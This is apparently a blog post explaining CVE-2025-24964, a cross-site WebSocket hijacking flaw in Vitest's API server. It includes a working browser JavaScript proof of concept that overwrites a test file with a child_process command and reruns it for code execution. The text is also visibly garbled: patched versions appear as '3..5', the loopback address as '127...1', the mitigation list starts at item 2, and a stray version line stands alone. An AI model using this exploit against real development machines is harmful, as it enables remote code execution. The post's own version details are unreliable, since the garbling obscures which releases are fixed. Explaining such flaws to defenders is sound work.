Vitest is a popular testing framework built on top of Vite. With its blazing speed and developer-friendly features, it’s become a go-to choice for modern frontend projects. But a critical vulnerability—CVE-2025-24964—has been discovered in Vitest’s API server, exposing users to remote code execution (RCE) when certain conditions are met.

In this exclusive post, we’ll break down how this vulnerability works, show a proof-of-concept exploit, and help you understand what you need to do to stay protected.

The Dangerous Combo

When you enable Vitest's UI or provide the api configuration, Vitest launches an API server with a WebSocket interface. This server listens for commands such as:

rerun: runs tests on demand.

But before version 1.6.1, 2.1.9, or 3..5 (depending on your major version), this WebSocket server:

Did NOT require authentication or other access controls.

This means any website you visit could connect to your Vitest server and send commands—if it knows where it’s running!

Exploit Scenario: Cross-site WebSocket Hijacking (CSWSH)

Picture this: You’re running your project locally with vitest --ui (or with the api option enabled). Somewhere, your browser has authenticated session cookies and an open port for the Vitest WebSocket server—let’s say, localhost:51204.

If you visit a malicious website, their JavaScript could create a WebSocket connection _from your browser to your local Vitest server_:

const socket = new WebSocket('ws://localhost:51204');
// Or ws://127...1:51204, or even ws://[::1]:51204

And start sending commands—like overwriting your test files with attacker-supplied code, then running it!

Step-by-step Proof-of-Concept Exploit

Let’s walk through a simplified attack sequence using only browser JavaScript.

Malicious Website opens a WebSocket connection:

const ws = new WebSocket('ws://localhost:51204'); // Replace with your dev machine’s port

Override a test file to add malicious code:

*Suppose your test file is tests/hello.test.js. The following JSON will overwrite it:*

const saveTestFilePayload = JSON.stringify({
  type: 'saveTestFile',
  id: 'tests/hello.test.js',
  content: `
    // Evil injected code
    require('child_process').exec('calc'); // On Windows, pops calc. Use 'touch /tmp/pwned' for cross-platform.
    test('evil test', () => { console.log("Pwned!"); });
  `
});
ws.send(saveTestFilePayload);

Trigger the rerun API to execute the malicious code:

const rerunPayload = JSON.stringify({ type: 'rerun', files: ['tests/hello.test.js'] });
ws.send(rerunPayload);

Danger: The require('child_process').exec(...) line will run a system command on the victim’s machine!

How Does This Work?

- No Origin Check: WebSockets ignore CORS, but checking the Origin header is critical. Vitest failed to do this.
- No Credentials Required: Anyone (including browser scripts from malicious sites) could access the API functions.
- Sensitive APIs Exposed: The combination of saveTestFile and rerun gives an attacker both write and execute—full RCE.

> There are NO known workarounds besides upgrading. Leaving your Vitest API server exposed—especially if bound to public interfaces—is extremely risky.

Vitest 3.x.x: < 3..5

You are safe if you’re running any version above these.

2. Avoid Using API Server on Untrusted Networks

Never expose your development ports to public networks, and be wary even when running locally while browsing untrusted websites.

3. Understand What This Means

If you're using vitest --ui or setting api: true, your machine is at risk if not patched.

Resources & References

- Original Advisory on GitHub *(Update with correct link when public)*
- Vitest Changelog with Fix
- What is Cross-site WebSocket Hijacking? (PortSwigger)
- CORS and the WebSocket Protocol (MDN)

Final Notes

This vulnerability—CVE-2025-24964—shows just how risky it can be to expose powerful development tools to your browser or network without strict access controls. The fix is simple: Upgrade now!

If you’re curious about security in modern JavaScript tools, keep following for more exclusive break-downs.

Timeline

Published on: 02/04/2025 20:15:50 UTC